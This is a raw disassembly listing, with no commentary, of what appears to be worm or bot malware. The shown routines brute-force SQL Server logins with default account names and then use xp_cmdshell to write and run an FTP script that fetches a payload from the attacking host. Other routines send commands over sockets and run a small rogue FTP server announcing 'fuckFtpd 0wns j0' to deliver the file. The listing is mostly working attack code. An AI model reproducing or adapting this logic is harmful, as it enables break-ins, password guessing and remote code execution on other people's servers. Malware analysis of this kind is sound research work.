T I N E ======================================= sub_404B1E proc near ; CODE XREF: sub_4046AA+110p ; sub_4046AA+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_421248 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_404B38 call sub_41FDB0 loc_404B38: ; CODE XREF: sub_404B1E+13j test ebx, ebx jbe short loc_404B6F mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_404C9C test al, al jz short loc_404B6F movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_415570 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_404B6F: ; CODE XREF: sub_404B1E+1Cj ; sub_404B1E+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_404B1E endp ; =============== S U B R O U T I N E ======================================= sub_404B77 proc near ; CODE XREF: sub_4046AA+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_421248 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_404B91 call sub_41FDB0 loc_404B91: ; CODE XREF: sub_404B77+13j test ebx, ebx jbe short loc_404BC6 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_404C9C test al, al jz short loc_404BC6 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_4155D0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_404BC6: ; CODE XREF: sub_404B77+1Cj ; sub_404B77+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_404B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404BCE proc near ; CODE XREF: sub_4046AA+17Cp ; sub_41FE0A+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_404BE6 call sub_41FFDC loc_404BE6: ; CODE XREF: sub_404BCE+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_404BF8 mov esi, [ebp+arg_8] loc_404BF8: ; CODE XREF: sub_404BCE+25j cmp edi, ebx jnz short loc_404C1A push dword_421248 add esi, ecx mov ecx, edi push esi call sub_404D92 push [ebp+arg_4] mov ecx, edi push 0 call sub_404D92 jmp short loc_404C93 ; --------------------------------------------------------------------------- loc_404C1A: ; CODE XREF: sub_404BCE+2Cj test esi, esi jbe short loc_404C5D cmp esi, eax jnz short loc_404C5D mov eax, [ebx+4] test eax, eax jnz short loc_404C2E mov eax, offset dword_421258 loc_404C2E: ; CODE XREF: sub_404BCE+59j cmp byte ptr [eax-1], 0FEh jnb short loc_404C5D push 1 mov ecx, edi call sub_404D21 mov eax, [ebx+4] test eax, eax jnz short loc_404C49 mov eax, offset dword_421258 loc_404C49: ; CODE XREF: sub_404BCE+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_404C93 ; --------------------------------------------------------------------------- loc_404C5D: ; CODE XREF: sub_404BCE+4Ej ; sub_404BCE+52j ... push 1 push esi mov ecx, edi call sub_404C9C test al, al jz short loc_404C93 mov eax, [ebx+4] test eax, eax jnz short loc_404C77 mov eax, offset dword_421258 loc_404C77: ; CODE XREF: sub_404BCE+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_4155D0 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_404C93: ; CODE XREF: sub_404BCE+4Aj ; sub_404BCE+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_404BCE endp ; =============== S U B R O U T I N E ======================================= sub_404C9C proc near ; CODE XREF: sub_4046AA+3Dp ; sub_404B1E+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_404CAE call sub_41FDB0 loc_404CAE: ; CODE XREF: sub_404C9C+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_404CD7 mov al, [ecx-1] cmp al, dl jz short loc_404CD7 cmp al, 0FFh jz short loc_404CD7 cmp edi, edx jnz short loc_404D12 dec al push edx mov [ecx-1], al loc_404CCC: ; CODE XREF: sub_404C9C+47j mov ecx, esi call sub_404D21 loc_404CD3: ; CODE XREF: sub_404C9C+4Bj ; sub_404C9C+52j xor al, al jmp short loc_404D1C ; --------------------------------------------------------------------------- loc_404CD7: ; CODE XREF: sub_404C9C+19j ; sub_404C9C+20j ... cmp edi, edx jnz short loc_404CF0 cmp [esp+8+arg_4], dl jz short loc_404CE5 push 1 jmp short loc_404CCC ; --------------------------------------------------------------------------- loc_404CE5: ; CODE XREF: sub_404C9C+43j cmp ecx, edx jz short loc_404CD3 mov [esi+8], edx mov [ecx], dl jmp short loc_404CD3 ; --------------------------------------------------------------------------- loc_404CF0: ; CODE XREF: sub_404C9C+3Dj cmp [esp+8+arg_4], dl jz short loc_404D0D mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_404D02 cmp eax, edi jnb short loc_404D1A loc_404D02: ; CODE XREF: sub_404C9C+60j push 1 mov ecx, esi call sub_404D21 jmp short loc_404D12 ; --------------------------------------------------------------------------- loc_404D0D: ; CODE XREF: sub_404C9C+58j cmp [esi+0Ch], edi jnb short loc_404D1A loc_404D12: ; CODE XREF: sub_404C9C+28j ; sub_404C9C+6Fj push edi mov ecx, esi call sub_404DF9 loc_404D1A: ; CODE XREF: sub_404C9C+64j ; sub_404C9C+74j mov al, 1 loc_404D1C: ; CODE XREF: sub_404C9C+39j pop edi pop esi retn 8 sub_404C9C endp ; =============== S U B R O U T I N E ======================================= sub_404D21 proc near ; CODE XREF: sub_4046AA+1Fp ; sub_4046AA+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_404D4D mov eax, [esi+4] test eax, eax jz short loc_404D4D lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_404D46 cmp al, 0FFh jz short loc_404D46 dec al mov [ecx], al jmp short loc_404D4D ; --------------------------------------------------------------------------- loc_404D46: ; CODE XREF: sub_404D21+19j ; sub_404D21+1Dj push ecx call sub_416477 pop ecx loc_404D4D: ; CODE XREF: sub_404D21+8j ; sub_404D21+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_404D21 endp ; =============== S U B R O U T I N E ======================================= sub_404D5D proc near ; CODE XREF: .nsp0:00404A45p ; sub_404EB6+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_404C9C test al, al jz short loc_404D8B push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_4155D0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_404D8B: ; CODE XREF: sub_404D5D+12j mov eax, esi pop edi pop esi retn 8 sub_404D5D endp ; =============== S U B R O U T I N E ======================================= sub_404D92 proc near ; CODE XREF: sub_404BCE+39p ; sub_404BCE+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_404DA5 call sub_41FFDC loc_404DA5: ; CODE XREF: sub_404D92+Cj mov ecx, edi call sub_404EB6 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_404DBB mov ebx, eax loc_404DBB: ; CODE XREF: sub_404D92+25j test ebx, ebx jbe short loc_404DF1 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_416490 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_404C9C test al, al jz short loc_404DF1 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_404DF1: ; CODE XREF: sub_404D92+2Bj ; sub_404D92+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_404D92 endp ; =============== S U B R O U T I N E ======================================= sub_404DF9 proc near ; CODE XREF: sub_404C9C+79p mov eax, offset loc_42028C call sub_416458 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_404E1F mov edi, [ebp+8] loc_404E1F: ; CODE XREF: sub_404DF9+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_404E2C xor eax, eax loc_404E2C: ; CODE XREF: sub_404DF9+2Fj push eax call sub_4167C5 pop ecx mov [ebp+8], eax jmp short loc_404E5D ; --------------------------------------------------------------------------- loc_404E38: ; DATA XREF: .nsp0:00421F0Co mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_404E47 xor eax, eax loc_404E47: ; CODE XREF: sub_404DF9+4Aj push eax call sub_4167C5 mov [ebp+8], eax pop ecx mov eax, offset loc_404E57 retn ; --------------------------------------------------------------------------- loc_404E57: ; DATA XREF: sub_404DF9+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_404E5D: ; CODE XREF: sub_404DF9+3Dj mov eax, [esi+8] test eax, eax jbe short loc_404E7B cmp eax, edi jbe short loc_404E6A mov eax, edi loc_404E6A: ; CODE XREF: sub_404DF9+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_4155D0 add esp, 0Ch loc_404E7B: ; CODE XREF: sub_404DF9+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_404D21 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_404E9B mov edi, ebx loc_404E9B: ; CODE XREF: sub_404DF9+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_404DF9 endp ; =============== S U B R O U T I N E ======================================= sub_404EB6 proc near ; CODE XREF: sub_404D92+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_404EE3 mov al, [esi-1] test al, al jz short loc_404EE3 cmp al, 0FFh jz short loc_404EE3 push 1 call sub_404D21 push esi call sub_415CF0 pop ecx push eax push esi mov ecx, edi call sub_404D5D loc_404EE3: ; CODE XREF: sub_404EB6+9j ; sub_404EB6+10j ... pop edi pop esi retn sub_404EB6 endp ; =============== S U B R O U T I N E ======================================= sub_404EE6 proc near ; DATA XREF: .nsp0:00423008o test byte_46977C, 1 jnz short loc_404EF6 or byte_46977C, 1 loc_404EF6: ; CODE XREF: sub_404EE6+7j jmp $+5 push offset nullsub_1 call sub_416840 pop ecx retn sub_404EE6 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F08 proc near ; CODE XREF: .nsp0:00405188p var_E3C = byte ptr -0E3Ch var_A3C = byte ptr -0A3Ch var_63C = byte ptr -63Ch var_23C = byte ptr -23Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1A = byte ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h arg_B4 = dword ptr 0BCh push ebp mov ebp, esp sub esp, 0E3Ch mov al, byte_438FBC push esi mov [ebp+var_1], al push edi lea eax, [ebp+var_14] xor edi, edi push eax mov esi, offset aSa ; "sa" push edi push 1 mov [ebp+var_3C], esi mov [ebp+var_38], offset aRoot ; "root" mov [ebp+var_34], offset aAdmin ; "admin" mov [ebp+var_30], offset aAdministrator ; "administrator" mov [ebp+var_2C], offset aAdministrador ; "administrador" mov [ebp+var_28], offset aAdministrater ; "administrater" mov [ebp+var_24], offset aAdmins ; "admins" mov [ebp+var_20], edi mov [ebp+var_18], edi mov [ebp+var_10], edi mov [ebp+var_8], edi call dword_43A31C test ax, ax jnz short loc_404F84 push 0FFFFFFFAh push 3 push 0C8h push [ebp+var_14] call dword_43A420 test ax, ax jz short loc_404F8B loc_404F84: ; CODE XREF: sub_404F08+63j xor eax, eax jmp loc_405164 ; --------------------------------------------------------------------------- loc_404F8B: ; CODE XREF: sub_404F08+7Aj lea eax, [ebp+var_10] push eax push [ebp+var_14] push 2 call dword_43A31C test ax, ax jnz loc_405157 test esi, esi push ebx jz loc_405148 mov edi, dword_421060 lea eax, [ebp+var_3C] mov [ebp+var_C], eax mov ebx, offset byte_42C1FC loc_404FBD: ; CODE XREF: sub_404F08+1EBj cmp off_42C368, 0 jz loc_4050E7 mov eax, offset off_42C368 mov esi, eax loc_404FD1: ; CODE XREF: sub_404F08+13Ej lea ecx, [ebp+var_1] push ecx push dword ptr [eax] mov eax, [ebp+var_C] push dword ptr [eax] lea eax, [ebp+arg_4] push [ebp+arg_A0] push eax lea eax, [ebp+var_A3C] push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"... push eax call sub_4154E7 add esp, 1Ch lea eax, [ebp+var_1A] push 0 push eax lea eax, [ebp+var_E3C] push 400h push eax lea eax, [ebp+var_A3C] push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_A3C] push eax push 0 push [ebp+var_10] call dword_43A3D4 test ax, ax jz short loc_40504D cmp ax, 1 jz short loc_40504D push 1F4h call edi ; Sleep add esi, 4 mov eax, esi cmp dword ptr [esi], 0 jnz short loc_404FD1 jmp loc_4050E7 ; --------------------------------------------------------------------------- loc_40504D: ; CODE XREF: sub_404F08+127j ; sub_404F08+12Dj lea eax, [ebp+var_8] push eax push [ebp+var_10] push 3 call dword_43A31C push ebx push ebx call sub_415543 push eax call sub_415543 push eax push dword_438FDC push [ebp+arg_0] call sub_40A171 pop ecx push eax lea eax, [ebp+var_63C] push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"... push eax call sub_4154E7 add esp, 20h lea eax, [ebp+var_63C] push 0FFFFFFFDh push eax push [ebp+var_8] call dword_43A35C test ax, ax jz short loc_4050DC mov esi, 1388h push esi call edi ; Sleep push ebx lea eax, [ebp+var_63C] push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'" push eax call sub_4154E7 add esp, 0Ch lea eax, [ebp+var_63C] push 0FFFFFFFDh push eax push [ebp+var_8] call dword_43A35C test ax, ax jz short loc_4050F8 push esi call edi ; Sleep loc_4050DC: ; CODE XREF: sub_404F08+19Bj push [ebp+var_8] push 3 call dword_43A3B4 loc_4050E7: ; CODE XREF: sub_404F08+BCj ; sub_404F08+140j add [ebp+var_C], 4 mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jz short loc_405148 jmp loc_404FBD ; --------------------------------------------------------------------------- loc_4050F8: ; CODE XREF: sub_404F08+1CFj cmp [ebp+arg_B4], 0 mov [ebp+var_18], 1 jnz short loc_405126 push 0 lea eax, [ebp+var_23C] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_412D4C add esp, 14h loc_405126: ; CODE XREF: sub_404F08+1FEj lea eax, [ebp+var_23C] push eax call sub_40B16D mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc dword_427340[eax] lea eax, dword_427340[eax] loc_405148: ; CODE XREF: sub_404F08+9Ej ; sub_404F08+1E9j push [ebp+var_10] push 2 call dword_43A3B4 mov edi, [ebp+var_18] pop ebx loc_405157: ; CODE XREF: sub_404F08+95j push [ebp+var_14] push 1 call dword_43A3B4 mov eax, edi loc_405164: ; CODE XREF: sub_404F08+7Ej pop edi pop esi leave retn sub_404F08 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi sub esp, 0BCh lea esi, [ebp+8] mov dword ptr [ebp+0A8h], 599h push 2Fh pop ecx mov edi, esp rep movsd call sub_404F08 push 2Fh lea esi, [ebp+8] pop ecx mov dword ptr [ebp+0A8h], 1BDh mov edi, esp mov [ebp-4], eax rep movsd call sub_403C8B add esp, 0BCh mov [ebp+0C0h], eax push 1 pop eax pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051BC proc near ; CODE XREF: .nsp0:004053BAp var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43A3D8 ; inet_addr mov [ebp+var_C], eax mov ax, word_426710 push eax call dword_43A398 ; ntohs push esi push 1 push 2 mov [ebp+var_E], ax call dword_43A418 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4052D5 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43A340 ; connect cmp eax, 0FFFFFFFFh jz loc_4052D5 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43A3B0 ; recv mov esi, offset byte_42C1FC push esi push esi push dword_438FDC push [ebp+arg_0] call sub_40A171 pop ecx mov edi, 190h push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_415A6A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jz short loc_4052D5 push 1F4h call dword_421060 ; Sleep push esi push offset dword_425050 lea eax, [ebp+var_1A0] push edi push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jnz short loc_4052D9 loc_4052D5: ; CODE XREF: sub_4051BC+51j ; sub_4051BC+67j ... xor al, al jmp short loc_4052F7 ; --------------------------------------------------------------------------- loc_4052D9: ; CODE XREF: sub_4051BC+117j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43A3B0 ; recv push ebx call dword_43A430 ; closesocket mov al, 1 loc_4052F7: ; CODE XREF: sub_4051BC+11Bj pop edi pop esi pop ebx leave retn sub_4051BC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 210h push ebx push esi lea eax, [ebp+0Ch] push edi push eax call dword_4211C8 ; gethostbyname mov esi, eax test esi, esi jnz short loc_405326 lea eax, [ebp+0Ch] push eax call dword_4211D8 ; inet_addr mov ebx, eax jmp short loc_40532C ; --------------------------------------------------------------------------- loc_405326: ; CODE XREF: .nsp0:00405316j mov ebx, [ebp+0C0h] loc_40532C: ; CODE XREF: .nsp0:00405324j push 11h push 2 push 2 call dword_4211E0 ; socket test esi, esi mov edi, eax jz short loc_405356 movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_4155D0 add esp, 0Ch jmp short loc_405359 ; --------------------------------------------------------------------------- loc_405356: ; CODE XREF: .nsp0:0040533Cj mov [ebp-0Ch], ebx loc_405359: ; CODE XREF: .nsp0:00405354j test esi, esi jz short loc_405367 mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_40536D ; --------------------------------------------------------------------------- loc_405367: ; CODE XREF: .nsp0:0040535Bj mov word ptr [ebp-10h], 2 loc_40536D: ; CODE XREF: .nsp0:00405365j push 598h call dword_4211DC ; ntohs mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi call dword_4211E4 ; connect test eax, eax jnz short loc_4053F2 push eax push 152h push offset dword_4265BC push edi call dword_4211EC ; send push 3E8h call dword_421060 ; Sleep sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_4051BC add esp, 0BCh test al, al jz short loc_4053CE push 1 pop eax jmp short loc_405404 ; --------------------------------------------------------------------------- loc_4053CE: ; CODE XREF: .nsp0:004053C7j lea eax, [ebp-210h] push eax call sub_40B16D mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch inc dword_427340[eax] lea eax, dword_427340[eax] jmp short loc_405402 ; --------------------------------------------------------------------------- loc_4053F2: ; CODE XREF: .nsp0:0040538Bj push 1 push edi call dword_4211CC ; shutdown push edi call dword_4211F0 ; closesocket loc_405402: ; CODE XREF: .nsp0:004053F0j xor eax, eax loc_405404: ; CODE XREF: .nsp0:004053CCj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405409 proc near ; DATA XREF: sub_407276+226o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_238 = byte ptr -238h var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi call dword_4211B0 ; WSAStartup push edi call sub_416AD4 push eax call sub_415539 push 0FA00h push 471h call sub_414098 add esp, 10h mov dword_438FDC, eax push edi push ebx push 2 call dword_4211E0 ; socket mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi call dword_4211B4 ; setsockopt lea eax, [ebp+var_18] push eax push 8004667Eh push esi call dword_4211B8 ; ioctlsocket mov ax, word ptr dword_438FDC mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call dword_4211DC ; ntohs mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call dword_4211BC ; bind test eax, eax jge short loc_4054DE mov eax, ebx jmp loc_405A05 ; --------------------------------------------------------------------------- loc_4054DE: ; CODE XREF: sub_405409+CCj push 0Ah push esi call dword_4211C0 ; listen mov [ebp+var_228], ebx mov ebx, dword_4211EC mov [ebp+var_224], esi mov [ebp+var_4], esi loc_4054FC: ; CODE XREF: sub_405409+12Cj ; sub_405409+5F4j push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor esi, esi lea eax, [ebp+var_438] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call dword_4211D0 ; select cmp eax, 0FFFFFFFFh jz loc_405A02 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_4054FC loc_405537: ; CODE XREF: sub_405409+5EEj xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_415570 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_415570 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_420106 ; __WSAFDIsSet test eax, eax jz loc_4059F0 cmp edi, [ebp+var_C] jnz short loc_4055EE lea eax, [ebp+var_24] mov [ebp+var_24], 10h push eax lea eax, [ebp+var_238] push eax push [ebp+var_C] call dword_4211C4 ; accept cmp eax, 0FFFFFFFFh jz loc_4059F0 xor ecx, ecx cmp [ebp+var_228], esi jbe short loc_4055B8 lea edx, [ebp+var_224] loc_4055A8: ; CODE XREF: sub_405409+1ADj cmp [edx], eax jz short loc_4055B8 inc ecx add edx, 4 cmp ecx, [ebp+var_228] jb short loc_4055A8 loc_4055B8: ; CODE XREF: sub_405409+197j ; sub_405409+1A1j cmp ecx, [ebp+var_228] jnz short loc_4055D6 cmp [ebp+var_228], 40h jnb short loc_4055D6 mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_4055D6: ; CODE XREF: sub_405409+1B5j ; sub_405409+1BEj cmp eax, [ebp+var_4] jle short loc_4055DE mov [ebp+var_4], eax loc_4055DE: ; CODE XREF: sub_405409+1D0j push esi push 15h push offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n" push eax call ebx ; send jmp loc_4059F0 ; --------------------------------------------------------------------------- loc_4055EE: ; CODE XREF: sub_405409+169j push esi lea eax, [ebp+var_29C] push 64h push eax push edi call dword_4211E8 ; recv test eax, eax jg short loc_405655 mov edx, [ebp+var_228] xor ecx, ecx cmp edx, esi jbe short loc_405649 lea eax, [ebp+var_224] loc_405615: ; CODE XREF: sub_405409+216j cmp [eax], edi jz short loc_405623 inc ecx add eax, 4 cmp ecx, edx jb short loc_405615 jmp short loc_405649 ; --------------------------------------------------------------------------- loc_405623: ; CODE XREF: sub_405409+20Ej dec edx cmp ecx, edx jnb short loc_405643 lea eax, [ebp+ecx*4+var_224] loc_40562F: ; CODE XREF: sub_405409+238j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_40562F loc_405643: ; CODE XREF: sub_405409+21Dj dec [ebp+var_228] loc_405649: ; CODE XREF: sub_405409+204j ; sub_405409+218j push edi call dword_4211F0 ; closesocket jmp loc_4059F0 ; --------------------------------------------------------------------------- loc_405655: ; CODE XREF: sub_405409+1F8j lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS ; "%s %s" push eax call sub_416AA0 lea eax, [ebp+var_AC] push offset aUser_0 ; "USER" push eax call sub_415910 add esp, 18h test eax, eax jnz short loc_405699 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4059DB ; --------------------------------------------------------------------------- loc_405699: ; CODE XREF: sub_405409+281j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_4056BD push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4059DB ; --------------------------------------------------------------------------- loc_4056BD: ; CODE XREF: sub_405409+2A5j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_4056E1 push esi push 0Dh push offset a215Fuckftpd ; "215 fuckFtpd\n" jmp loc_4059DB ; --------------------------------------------------------------------------- loc_4056E1: ; CODE XREF: sub_405409+2C9j lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_405705 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4059DB ; --------------------------------------------------------------------------- loc_405705: ; CODE XREF: sub_405409+2EDj lea eax, [ebp+var_AC] push offset off_426918 push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_405729 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4059DB ; --------------------------------------------------------------------------- loc_405729: ; CODE XREF: sub_405409+311j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_405764 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_405764 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4059DB ; --------------------------------------------------------------------------- loc_405764: ; CODE XREF: sub_405409+335j ; sub_405409+34Cj lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40579F lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40579F push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4059DB ; --------------------------------------------------------------------------- loc_40579F: ; CODE XREF: sub_405409+370j ; sub_405409+387j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_4057ED push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_415CF0 pop ecx push eax lea eax, [ebp+var_124] loc_4057DD: ; CODE XREF: sub_405409+423j 